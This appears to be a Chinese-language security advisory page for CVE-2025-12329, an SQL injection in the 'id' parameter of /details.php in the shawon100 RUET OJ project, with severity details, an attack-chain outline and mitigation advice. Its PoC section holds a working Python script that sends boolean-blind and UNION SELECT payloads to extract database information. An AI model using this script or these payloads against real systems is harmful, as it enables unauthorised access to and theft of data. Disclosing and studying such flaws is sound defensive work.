IPBUF安全漏洞报告
English
CVE-2025-12329 CVSS 6.3 中危

CVE-2025-12329 shawon100 RUET OJ /details.php ID参数SQL注入漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12329
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
shawon100 RUET OJ

相关标签

CVE-2025-12329SQL注入shawon100 RUET OJWeb安全数据库注入远程攻击中等严重性

漏洞概述

CVE-2025-12329是 shawon100 RUET OJ 项目中的一个SQL注入漏洞。该漏洞存在于 /details.php 文件中,具体影响未知函数的 ID 参数。攻击者可以通过构造恶意的SQL语句,利用该参数进行数据库注入攻击。由于该漏洞的CVSS评分为6.3(中等),且攻击向量为网络远程攻击,所需权限较低(低权限),无需用户交互即可实现攻击,因此具有较高的实际利用价值。漏洞影响版本至 commit 18fa45b0a669fa1098a0b8fc629cf6856369d9a5。该项目采用滚动发布模式,版本信息不明确。值得注意的是,漏洞利用代码已公开,厂商在收到早期通知后未做出任何回应。

技术细节

该漏洞为典型的SQL注入漏洞,存在于Web应用的 /details.php 页面中。攻击者通过HTTP请求的ID参数注入恶意SQL语句。在未对用户输入进行充分过滤和参数化查询的情况下,攻击者可以利用UNION SELECT、布尔盲注或时间盲注等技术获取数据库敏感信息,包括用户凭证、配置文件数据等。攻击者需要具备低权限账户即可发起攻击,攻击复杂度较低。由于受影响的代码位置为未知函数,推测可能是用于查询题目或用户详情的功能模块。漏洞影响范围覆盖RUET OJ系统的数据库层,成功的SQL注入可能导致数据泄露、数据篡改甚至在特定配置下实现远程代码执行。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标站点为 shawon100 RUET OJ 系统,定位 /details.php 端点
STEP 2
步骤2
漏洞探测:构造测试SQL注入载荷(如 1' AND 1=1 -- 和 1' AND 1=2 --)验证漏洞存在
STEP 3
步骤3
注入技术选择:根据响应差异选择布尔盲注、时间盲注或UNION注入技术
STEP 4
步骤4
数据提取:利用SQL语句提取数据库版本、库名、表名及敏感用户数据
STEP 5
步骤5
权限提升:在获取足够数据后,可能利用数据库写入功能实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12329 SQL Injection PoC for shawon100 RUET OJ # Target: /details.php with vulnerable ID parameter def exploit_sqli(url, payload): """Send SQL injection payload to vulnerable endpoint""" target_url = f"{url}/details.php?id={payload}" try: response = requests.get(target_url, timeout=10) return response.status_code, response.text except requests.RequestException as e: return None, str(e) def test_boolean_blind_sqli(url): """Test for boolean-based blind SQL injection""" # True condition - should return normal content true_payload = "1' AND 1=1 --" # False condition - should return different content false_payload = "1' AND 1=2 --" status_true, content_true = exploit_sqli(url, true_payload) status_false, content_false = exploit_sqli(url, false_payload) if content_true != content_false: print("[+] Boolean-based blind SQL injection confirmed!") return True return False def extract_database_info(url): """Extract database version using UNION-based injection""" # Database version extraction payload payload = "1' UNION SELECT NULL,database(),version(),NULL,NULL --" status, content = exploit_sqli(url, payload) if status: print(f"[+] Response received: {content[:500]}") return content if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/oj") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Testing CVE-2025-12329 on {target}") if test_boolean_blind_sqli(target): print("[*] Extracting database information...") extract_database_info(target)

影响范围

shawon100 RUET OJ <= 18fa45b0a669fa1098a0b8fc629cf6856369d9a5

防御指南

临时缓解措施
立即对 /details.php 的ID参数进行输入过滤和验证,使用参数化查询替代动态SQL拼接。在Web应用防火墙中配置SQL注入防护规则,限制可疑请求。建议使用ORM框架处理数据库操作以降低注入风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表